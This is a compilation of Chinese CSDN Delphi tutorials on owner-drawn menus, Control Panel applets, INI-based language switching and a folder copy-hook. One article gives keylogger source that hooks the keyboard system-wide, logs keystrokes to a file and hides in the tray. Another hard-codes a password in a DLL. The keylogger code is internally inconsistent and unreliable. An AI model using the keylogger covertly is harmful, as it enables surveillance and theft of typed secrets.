Caption5: TMenuItem;

Caption6: TMenuItem;

Image1: TImage;

procedure Caption1MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption2MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption3MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption4MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption5MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption6MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption2DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption3DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption4DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption5DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption6DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

private

{ Private declarations }

public

procedure DrawItem(Sender: TMenuItem; ACanvas: TCanvas;ARect: TRect;

Selected: Boolean;strOUt:String);

{ Public declarations }

end;

var

Form1: TForm1;

i,iH,Ind,iW,iRate:Integer;

rTemp:TRect;

iG1,iG2:Integer;

implementation

{$R *.DFM}

procedure TForm1.DrawItem(Sender: TMenuItem; ACanvas: TCanvas;ARect: TRect;

Selected: Boolean;strOut:String);

var

j:Integer;

begin

i:=ARect.Bottom -ARect.Top; //获得贴图的高度和宽度

Ind:=Sender.MenuIndex;

iH:=Round(Image1.Height/6*Ind); //获得贴图位置

//将Image上相应位置的位图复制到菜单上

StretchBlt(ACanvas.Handle,ARect.Left,ARect.Top,iW,i,Image1.Canvas.Handle,0,iH,

Image1.Width,Round(Image1.Height/6),SRCCOPY);

if Selected then begin //该菜单项被选中

ACanvas.Font.Color := clWhite;

rTemp:=ARect;

rTemp.Left := rTemp.left+iW;

iG1:=Round((rTemp.Right - rTemp.Left)/10);

rTemp.Right := rTemp.Left +iG1;

for j:= 0 to 9 do begin //通过循环设置色彩渐变效果

ACanvas.Brush.Color := RGB(0,0,j*25);

ACanvas.FillRect(rTemp);

rTemp.Left := rTemp.Left +iG1;

rTemp.Right := rTemp.Left +iG1;

end;

end

else begin //该菜单项没有被选中

ACanvas.Brush.Color := cl3DLight; //设置背景色为浅灰

rTemp:=ARect;

rTemp.Left := rTemp.left+iW;

ACanvas.FillRect(rTemp);

ACanvas.Font.Color := clBlack;

end;

//设置Canvas的画笔填充模式为透明

ACanvas.Brush.Style:=bsClear;

//在菜单上输出文字

ACanvas.TextOut(ARect.Left+iW+5,ARect.Top,strOut);

end;

procedure TForm1.Caption1MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

//在OnMeasureItem事件中改变菜单的宽度和高度，下面5个程序同

//改变菜单的宽度和高度以容纳文本

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW; //根据计算改变菜单宽度以容纳附加的文本

end;

procedure TForm1.Caption2MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption3MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption4MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption5MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption6MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption1');

end;

procedure TForm1.Caption2DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption2');

end;

procedure TForm1.Caption3DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption3');

end;

procedure TForm1.Caption4DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption4');

end;

procedure TForm1.Caption5DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption5');

end;

procedure TForm1.Caption6DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption6');

end;

end.


CSDN_文档中心_利用Dephi5编写控制面板程序

利用Dephi5编写控制面板程序

www.applevb.com

在Windows中提供了一个控制面板窗口，一个控制面板窗口就象Windows的控制中心。
在窗口中有诸如 “系统”、“多媒体”图标，通过双击这些不同的图标，就可以打开不
同的控制面板程序查看系统状况和对系统进行设置了。
如何在控制面板中添加自己的控制面板程序呢？首先来了解以下控制面板程序的原
理。一个控制面板程序就是一个动态连接库（DLL）。在库文件中必须建立一个名称为
CPLApplet的输出回调函数，在函数中加入对Windows调用的响应代码，编辑成动态连接
库文件。库文件将库文件的扩展名改为CPL，然后将文件拷贝到 Windows\System子目录
下，系统在启动时会自动搜索扩展名为Cpl的文件。搜索到文件之后，系统会装入文件
并调用CPLApplet函数，这时函数中的代码就开始工作，执行弹出系统设置窗口等操作。
是不是很复杂，你必须对于系统调用DLL的工作原理和回调函数有比较深刻的了解
才能编写控制面板程序，而且必须无法在编程软件的集成窗口中调试，而必须先编译
好以后拷贝到 Windows\System 目录下观察运行效果，然后再对源程序除错，再编译。
幸好在Delphi5中提供了方便建立控制面板程序的方式。在Delphi5的菜单中选
File | New ，在New Items窗口中会看到有一个 Control Panel Application 选项，
点击这个选项，然后再按OK键，就可以建立一个基本的控制面板程序。在这个程序的
工程文件包中包含两个文件，一个是工程文件 Project1.dpr。按Ctrl+F12打开
View Units窗口打开Project1，可以看到代码的第一行是library Project1; ，另外
在代码中还有一行：exports CPlApplet; ，这说明程序已经自动建立了输出回调函数。
另一个文件是控制面板程序控制文件（姑且这么称呼它）Unit1.pas。这个程序代码
中建立了一个TAppletModule类，这个类就是控制面板程序控制类。同时程序还会建立
一个调试、控制窗口AppletModule1。在窗口左边的列表框中有一项 AppletModule1，
右键点击该项，在弹出菜单中选Install Control Panel Applet项编译并安装控制面板
程序。如果安装成功，再右键点击AppletModule1，在弹出菜单中选Launch Control
Panel运行控制面板。怎么样？在控制面板中是不是增加了一个 AppletModule1项？
当然，现在这个程序还很简单，没有漂亮的图标，双击它也没有反应，在下面我就要
介绍对这个程序的扩展。
首先要让它响应鼠标的双击。首先按Shift+F12键，在View Form窗口中选择AppletModule1
打开调试、控制窗口。在窗口左边的Object Inspector中点击Events页面，在Events列表
中的第一项就是OnActive事件，你也许猜到了，对，这个事件就是控制面板程序被激活
（也就是你双击控制面板中的程序图标时发生的事件）时产生的事件。
下面来编写代码响应事件。在Delphi菜单中选 File | New，在New Items窗口中选
Form项添加一个新的窗口。将文件保存为Unit2.pas，然后在Unit1.pas中添加
Uses Unit2; （该句要添加在implementation后面），在Events列表中双击OnActive
事件，在事件中添加如下代码：
procedure TAppletModule1.AppletModuleActivate(Sender: TObject;
Data: Integer);
begin
with TForm2.Create(Application) do begin
if ShowModal = mrOK then
Free;
end;
end;
最后记住将Project1中的Application.CreateForm(TForm2, Form2); 行给删除掉。
接下来设置程序图标，点击AppletModule1的Object Inspector窗口，点击Properties
页面，选AppletIcon项，就可以为控制面板程序添加图标了。改变Caption项的值就可以为
程序设置不同的标题。
图标和程序标题设置好以后，再重复上面的Install Control Panel Applet编译并
安装程序，然后再选Launch Control Panel运行。双击新建立的程序图标，看看，建立
一个控制面板程序就是这么简单！
当然，这只是一个最简单的控制面板程序，它只是响应OnActive事件并弹出一个窗口，
在OnActive事件中的Data是一个比较重要的参数，它是控制面板程序调用程序传递给程序
的参数，利用这个参数可以对不同的调用弹出不同的窗口，例如你要建立一个时间/日期
调整控制程序，你可以做以下代码：
procedure TAppletModule1.AppletModuleActivate(Sender: TObject;
Data: Integer);
begin
with TForm2.Create(Application) do begin file://以下是伪代码：
Case Data of
1:DoChangeTime; file://显示改变系统时间窗口
2:DoChangeDate; file://显示改变系统日期窗口
end;
end;
end;
这样当外部程序以不同的参数调用程序时，程序能弹出不同的窗口，例如 RunDll32 app.cpl 1
就将弹出改变系统时间窗口。


CSDN_文档中心_利用Dll实现通用密码验证框

            作者：夏青虫

---- 在我们编制Delphi应用程序，常常需要提供一个密码验证框，对应用程序的使用者进行身份核对。

如果能有一个通用的密码验证框，便能够为我们的工作节约不少的时间，更能使我们编制的程序小而快。

以下的程序为你提供了这样的一个DLL文件。

//文件名为CheckPasswordForm.dpr;
编译此文件生成CheckPasswordForm.dll
library CheckPasswordForm;

uses
XcqCheck in 'XcqCheck.pas' {XcqForm};

exports
CheckPassword name 'CheckPassword';//dll入口

begin
end.

//文件名为XcqCheck.pas
unit XcqCheck;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls, Mask, Menus;

type
TXcqForm = class(TForm)
XcqEdit: TMaskEdit;//密码输入框
OkBtn: TButton;
procedure OkBtnClick(Sender: TObject);
end;

var
XcqForm: TXcqForm;
Check: Boolean;//验证输入密码的正确性
function CheckPassword: Boolean;export;
//本dll文件的关键实现

implementation

{$R *.DFM}

procedure TXcqForm.OkBtnClick(Sender: TObject);
begin
if XcqEdit.Text = 'xcq' then
Check := True;
Close;
end;

function CheckPassword;export;
begin
Check := False;
XcqForm := TXcqForm.Create(Application);
//创建密码输入框
XcqForm.ShowModal;//显示密码输入框;
注意：不能用XcqForm.Show!
Result := Check;//返回给调用本dll的应用程序判断
XcqForm.Free;//释放本dll文件所占资源
end;
end.
---- 在调用以上dll中CheckPassword函数的应用程序中只需加入以下语句在implementation 后，

function CheckPassword: Boolean; external 'CheckPasswordForm.dll' name 'CheckPassword';在需

要进行密码验证的地方加入下面的条件语句就完全实现了密码验证的功能。
if CheckPassword then
begin
...//如XcqQuery.Open;
end;
---- 上面的程序只是一个简单的密码验证框，我们可以将密码以写入注册表或文件的方式保存，动态修

改，更可以利用算术算法对密码进行简单的加密等，使要保密的数据更安全。
---- 其实，上文中如何在dll中实现窗口让我走了不少弯路，我觉得此法对大家更有意义，这是避免程序

庞大的一种有效方法，不妨试试。

---- 以上程序在Windows98/Delphi3下编译通过。欢迎大家批评指正。


CSDN_文档中心_利用Hook技术实现键盘监控

利用Hook技术实现键盘监控
乌鲁木齐军医学院
卢立建
---- 在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专业的监控程序必须具备两点，一是实时；二是作为指示图标运行。实际应用中把利用Hook（即钩子）技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上，根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。

一、Hook(钩子)的实现：

---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用；如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。

---- 1．新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过程。代码如下：

library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.

2.在Hookproc.pas中实现了钩子具体过程：
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename='c:\debug.txt';//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.

---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon，它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行,增加专业特色。当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。

unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;

procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags :=0;
shell_notifyicon(nim_delete,@nid);
end;

procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;

---- 该程序虽然只用了几个shellai函数，但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容，我相信这篇文章能对许多Delphi的初学者有所帮助。
---- 该程序在Win98、Delphi4.0中正常运行。


CSDN_文档中心_利用INI文件实现界面无闪烁多语言切换

文档图片
文档内容
越来越多的程序使用了多国语言切换，虽然DELPHI自带多语言包的添加和配置，
但是那种方法在切换语言时界面会出现闪烁，而且实现起来很麻烦，这里我介绍给大家的是利用INI文件来读取界面的语种文字，
用这种方法，不但简单易行，而且在切换的时候不会出现界面的闪烁。
我们从一个例子出发，看看怎么实现语言的切换。首先建立一个新工程。放置如上图的组件：

MainMenu1: TMainMenu;
File1: TMenuItem;
Exit1: TMenuItem;
Label1: TLabel;
Button1: TButton;
CheckBox1: TCheckBox;
CheckBox2: TCheckBox;
Button2: TButton;
Label2: TLabel;
ComboBox1: TComboBox;
Label3: TLabel;

由于要读取Ini文件，所以在USES中加入声明IniFiles;
然后将Button1和Button2的ShowHint属性设置为True;
其中我们用ComboBox1来显示可供选择的语言和用来选择语言。
我们在程序的目录下编辑如下的Chinese GB.Ini文件：
;///////////////////////////////////////////////////////////////////
;
; 翻译的一些规则:
; 翻译前,拷贝 Chinese GB.ini 改名到 yourlanguage.ini
; 仅仅翻译符号'='后的文字
;
[Translations]
;
Label1.Caption =文字1
Label2.Caption =文字2
Label3.Caption =语言
Button1.Caption =按钮1
Button2.Caption =按钮2
Button1.Hint =按钮1_提示
Button2.Hint =按钮2_提示
CheckBox1.Caption =复选框1
CheckBox2.Caption =复选框2
File1.Caption =文件
Exit1.Caption =退出
;
[Messages]
;
M1 =信息框测试
;
;//////////////////////////////////////////////////////////////////
同样的方法编辑一个名为English.ini的文件，将“=”左边的文字改为英文。
例如：Label1.Caption =Label1

程序运行时，我们查找当前目录下所有的语言配置文件（*.ini），
为了达到这个目的，
我编写了如下的函数搜索目录下所有的语言配置文件的文件名，
然后将文件名去掉ini扩展名保存返回：
function TForm1.SearchLanguagePack:TStrings;
var
ResultStrings:TStrings;
DosError:integer;
SearchRec:TsearchRec;
begin
ResultStrings:=TStringList.Create;
DosError:=FindFirst(ExtractFilePath(ParamStr(0))+'*.ini', faAnyFile, SearchRec);
while DosError=0 do
begin
{ 返回的文件名并去掉末尾的.ini字符 }
ResultStrings.Add(ChangeFileExt(SearchRec.Name,''));
DosError:=FindNext(SearchRec);
end;
FindClose(SearchRec);
Result:=ResultStrings;
end;

在Form建立的事件中添加代码，将目录下所有的语言文件名加入选择列表框中。
procedure TForm1.FormCreate(Sender: TObject);
begin
ComboBox1.Items.AddStrings(SearchLanguagePack);
end;

程序的重点在如何切换语言，在ComboBox1的OnChange事件中进行切换操作。
这里我写了SetActiveLanguage过程用于实现这一操作。
procedure TForm1.ComboBox1Change(Sender: TObject);
begin
SetActiveLanguage(ComboBox1.Text);
end;
其中SetActiveLanguage代码如下：
procedure TForm1.SetActiveLanguage(LanguageName:string);
const
Translations='Translations';
Messages='Messages';
var
frmComponent:TComponent;
i:Integer;
begin
with TInifile.Create(ExtractFilePath(ParamStr(0))+LanguageName+'.ini') do
begin
for i:=0 to ComponentCount-1 do { 遍历Form组件 }
begin
frmComponent:=Components[i];
if frmComponent is TLabel then { 如果组件为TLabel型则当作TLabel处理，以下同 }
begin
(frmComponent as TLabel).Caption:=
ReadString(Translations,frmComponent.Name
+'.Caption',(frmComponent as TLabel).Caption);
end;
if frmComponent is TCheckBox then
begin
(frmComponent as TCheckBox).Caption:=
ReadString(Translations,frmComponent.Name
+'.Caption',(frmComponent as TCheckBox).Caption);
end;
if frmComponent is TButton then
begin
(frmComponent as TButton).Caption:=
ReadString(Translations,frmComponent.Name
+'.Caption',(frmComponent as TButton).Caption);
(frmComponent as TButton).Hint:=
ReadString(Translations,frmComponent.Name
+'.Hint',(frmComponent as TButton).Hint);
end;
if frmComponent is TMenuItem then
begin
(frmComponent as TMenuItem).Caption:=
ReadString(Translations,frmComponent.Name
+'.Caption',(frmComponent as TMenuItem).Caption);
end;
end;
M1:=ReadString(Messages,'M1',M1);
end;
end;
在这个过程中，我们遍历了Form中的所有组件，
根据他们的类别和组件名动态的从ini配置文件中读出应该显示的语言文字。
用遍历组件的方法比一个一个写出具体的组件维护起来要方便很多，代码的适应性也更强。
其中M1为一个字符串变量，这样提示消息也能切换，比如在Button1的Click事件中
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(M1);
end;
就可以根据不同的语言给出不同的提示文字。

好了，整个工程就做完了，你可以运行测试一下，是不是切换迅速而且无闪烁。

作者：万重（www.DelphiBox.com） 2000．6．9


CSDN_文档中心_利用Windows外壳扩展保护文件夹

利用Windows外壳扩展保护文件夹
在Win32操作系统（包括Win9X、Windows NT、Windows 2000）不但有方便的图形用户（GUI）界面，微软还为windows用户界面保留了强大的可扩充性。其中对于Windows界面的操作环境（这里称为外壳Shell），微软提供了一种称为外壳扩展（Shell Extensions）的功能来实现文件系统操作的可编程性。如果你的机器中安装了Word 7.0以上的版本，当你鼠标右键单击一个DOC文件，在弹出菜单中选“属性”项，在属性页中不仅显示显示文件的大小、建立日期等信息，同时还增加了Doc文档的摘要、统计等信息；又例如安装了winZip 6.0以上版本后，当选中一个或多个文件或文件夹后在单击鼠标右键，在弹出的右键菜单中就增加了“Add To Zip”等一个zip文件压缩选项。上面的这些功能都是通过Windows外壳扩展来实现的。
Windows外壳扩展是这样实现的。首先要编写外壳扩展程序，一个外壳扩展程序是基于COM(Component Object Model)组件模型的。外壳是通过接口(Interface)来访问对象的。外壳扩展被设计成32位的进程中服务器程序，并且都是以动态链接库的形式为操作系统提供服务的。
写好外壳扩展程序后，必须将它们注册才能生效。所有的外壳扩展都必须在Windows注册表的HKEY_CLASSES_ROOT\CLSID键之下进行注册。在该键下面可以找到许多名字像{ACDE002F-0000-0000-C000-000000000046}的键，这类键就是全局唯一类标识符。每一个外壳扩展都必须有一个全局唯一类标识符，Windows正是通过此唯一类标识符来找到外壳扩展处理程序的。在类标识符之下的InProcServer32子键下记录着外壳扩展动态链接库在系统中的位置。

Windows系统支持以下7类的外壳扩展功能：
(1)Context menu handlers向特定类型的文件对象增添上下文相关菜单；
(2)Drag-and-drop handlers用来支持当用户对某种类型的文件对象进行拖放操作时的OLE数据传输；
(3)Icon handlers用来向某个文件对象提供一个特有的图标，也可以给某一类文件对象指定图标；
(4)Property sheet handlers给文件对象增添属性页，属性页可以为同一类文件对象所共有，也可以给一个文件对象指定特有的属性页；
(5)Copy-hook handlers在文件夹对象或者打印机对象被拷贝、移动、删除和重命名时，就会被系统调用，通过为Windows增加Copy-hook handlers，可以允许或者禁止其中的某些操作；
(6)Drop target handlers在一个对象被拖放到另一个对象上时，就会被系统被调用；
(7)Data object handlers在文件被拖放、拷贝或者粘贴时，就会被系统被调用。
本文介绍的文件夹保护功能就是通过上面的第5类，既Copy-hook handlers来实现的。一个支持Copy-hook handlers的程序除了上面提到的要在注册表的HKEY_CLASSES_ROOT\CLSID下注册之外，还需要在HKEY_CLASSES_ROOT\Directory\shellex\CopyHookHandlers\下注册服务器程序的类。
由于Windows外壳服务器程序是基于COM组件模型的，所以编写外壳程序就是构造一个COM对象的过程，由于Delphi4.0以上的版本支持Windows外壳扩展和COM组件模型，所以可以利用Delphi来编写外壳扩展程序。
利用Delphi编写Copy-hook handle需要实现ICopyHook接口。ICopyHook是一个十分简单的接口，要实现的只有CopyCallBack方法。ICopyHook的CopyCallBack方法的定义如下：
UINT CopyCallback(
HWND hwnd, file://Handle of the parent window for displaying UI objects
UINT wFunc, file://Operation to perform.
UINT wFlags, file://Flags that control the operation
LPCSTR pszSrcFile, file://Pointer to the source file
DWORD dwSrcAttribs, file://Source file attributes
LPCSTR pszDestFile, file://Pointer to the destination file
DWORD dwDestAttribs file://Destination file attributes
);
其中的参数hwnd是一个窗口句柄，Copy-hook handle以此为父窗口。参数wFunc指定要被执行的操作，其取值为下表中所列之一：
常量 取值 含义
FO_COPY $2 复制由pszSrcFile指定的文件到由pszDestFile指定的位置。
FO_DELETE $3 删除由pszSrcFile指定的文件。
FO_MOVE $1 移动由pszSrcFile指定的文件到由pszDestFile指定的位置。
FO_RENAME $4 重命名由pszSrcFile指定的文件到由pszDestFile指定的文件名。
PO_DELETE $13 删除pszSrcFile指定的打印机。
PO_PORTCHANGE $20 改变打印机端口。PszSrcFile和pszDestFile为两个以Null结尾的字符串，分别指定当前和新的打印机端口名。
PO_RENAME $14 重命名由pszSrcFile指定的打印机端口。
PO_REN_PORT $34 PO_RENAME和PO_PORTCHANGE的组合。

参数wFlags指定操作的标志；参数pszSrcFile和pszDestFile指定源文件夹和目标文件夹。参数dwSrcAttribs和dwDesAttribs指定源文件夹和目标文件夹的属性。函数返回值可以为IDYES、IDNO和IDCANCEL。分别指示Windows外壳允许操作、阻止操作，但是其他操作继续、阻止当前操作，取消为执行的操作。
下面是具体的程序实现：
首先在Delphi的菜单中选 File|New选项，选择其中的DLL图标，按Ok键建立一个DLL工程文件，在其中添加以下代码：
library CopyHook;

uses
ComServ,
CopyMain in 'CopyMain.pas';

exports
DllGetClassObject,
DllCanUnloadNow,
DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin
end.
将文件保存为 CopyHook.dpr。再在Delphi菜单中选File|New选项，选择其中的Unit图标，按Ok键建立一个Pas文件，在其中加入以下代码：
unit CopyMain;

interface

uses Windows, ComObj, ShlObj;

type
TCopyHook = class(TComObject, ICopyHook)
protected
function CopyCallback(Wnd: HWND; wFunc, wFlags: UINT; pszSrcFile: PAnsiChar;
dwSrcAttribs: DWORD; pszDestFile: PAnsiChar; dwDestAttribs: DWORD): UINT; stdcall;
end;

TCopyHookFactory = class(TComObjectFactory)
protected
function GetProgID: string; override;
procedure ApproveShellExtension(Register: Boolean; const ClsID: string);
virtual;
public
procedure UpdateRegistry(Register: Boolean); override;
end;

implementation

uses ComServ, SysUtils, Registry;

{ TCopyHook }

file://当Windows外壳程序执行文件夹或者打印机端口操作时，CopyCallBack
file://方法就会被调用。
function TCopyHook.CopyCallback(Wnd: HWND; wFunc, wFlags: UINT;
pszSrcFile: PAnsiChar; dwSrcAttribs: DWORD; pszDestFile: PAnsiChar;
dwDestAttribs: DWORD): UINT;
const
FO_COPY = 2;
FO_DELETE = 3;
FO_MOVE = 1;
FO_RENAME = 4;
var
sOp:string;
begin
Case wFunc of
FO_COPY: sOp:=format('你确定要将 %s 拷贝到 %s 吗？',[pszSrcFile,pszDestFile]);
FO_DELETE: sOp:=format('你确定要将 %s 删除吗？',[pszSrcFile]);
FO_MOVE: sOp:=format('你确定要将 %s 转移到 %s 吗？',[pszSrcFile,pszDestFile]);
FO_RENAME: sOp:=format('你确定要将 %s 重命名为 %s 吗？',[pszSrcFile,pszDestFile]);
else
sOp:=format('无法识别的操作代码 %d',[wFlags]);
end;
// 提示，让用户决定是否执行操作
Result := MessageBox(Wnd, PChar(sOp),
'文件挂钩演示', MB_YESNOCANCEL);
end;

{ TCopyHookFactory }

function TCopyHookFactory.GetProgID: string;
begin
Result := '';
end;

procedure TCopyHookFactory.UpdateRegistry(Register: Boolean);
var
ClsID: string;
begin
ClsID := GUIDToString(ClassID);
inherited UpdateRegistry(Register);
ApproveShellExtension(Register, ClsID);
if Register then
file://将clsid 加入到注册表的CopyHookHandlers中
CreateRegKey('directory\shellex\CopyHookHandlers\' + ClassName, '',
ClsID)
else
DeleteRegKey('directory\shellex\CopyHookHandlers\' + ClassName);
end;

procedure TCopyHookFactory.ApproveShellExtension(Register: Boolean;
const ClsID: string);
const
SApproveKey = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved';
begin
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
if not OpenKey(SApproveKey, True) then Exit;
if Register then WriteString(ClsID, Description)
else DeleteValue(ClsID);
finally
Free;
end;
end;

const
CLSID_CopyHook: TGUID = '{66CD5F60-A044-11D0-A9BF-00A024E3867F}';
LIBID_CopyHook: TGUID = '{D2F531A0-0861-11D2-AE5C-74640BC10000}';

initialization
TCopyHookFactory.Create(ComServer, TCopyHook, CLSID_CopyHook,
'CR_CopyHook', '文件操作挂钩演示',ciMultiInstance, tmApartment);
end.
将文件保存为CopyMain.Pas文件，然后编译程序为CopyHook.Dll文件，然后注册CopyHook.Dll文件，你可以使用Windows提供的RegSvr32.exe来注册，注册的方法是在Dos窗口中进入Windows的System子目录，然后在其中输入Regsvr32 x:\xxx\xxx\copyhook.dll ，其中x:\xxx\xxx\是编译的CopyHook.dll所在的全路径名。也可以在Run菜单中选择Register ActiveX Server来注册。
当文件注册成功之后，在Windows的Explore中任意改变一个文件夹的名字或者移动一个目录，就会有一个提示框弹出，提示用户是否确定执行操作。如图所示：

按“是”将执行文件夹操作，按“否”或者“取消”将取消相应的文件夹操作。
